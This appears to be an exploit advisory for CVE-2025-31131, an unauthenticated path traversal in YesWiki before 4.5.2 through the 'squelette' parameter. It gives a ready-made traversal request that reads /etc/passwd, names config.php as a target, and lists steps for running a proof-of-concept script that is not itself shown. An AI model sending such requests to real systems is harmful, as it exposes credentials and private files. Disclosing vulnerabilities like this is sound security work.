    [+] Summary : 
    
     YesWiki versions prior to **4.5.2** are vulnerable to an **unauthenticated path traversal** vulnerability through the `squelette` parameter.  
     A remote attacker can leverage this flaw to read arbitrary files on the target system,  
     including sensitive files such as:
     
     /etc/passwd
     /var/www/html/config.php
     
     
    This issue can be exploited without authentication.
    
    -------------------------------------------------------------------------------
    
    ## 2. Technical Details
    
    The vulnerable parameter is: squelette=
    
    By supplying traversal sequences (`../`) combined with encoded filenames,  
    an attacker can escape the intended directory and access system files.
    
    Example malicious request pattern: /?UrkCEO/edit&theme=margot&squelette=../../../../../../etc/passwd&style=margot.css
    
    The application does not validate or sanitize the `squelette` parameter,  
    resulting in Local File Inclusion (LFI).
    
    [+] References : ( CVE-2025-31131 ) 
    
    1. Save the file as: poc.php
    
    2. Edit the target:
    ```php
    $target = "http://TARGET";
    
    3.Execute: php poc.php http://127.0.0.1 /var/www/html/config.php
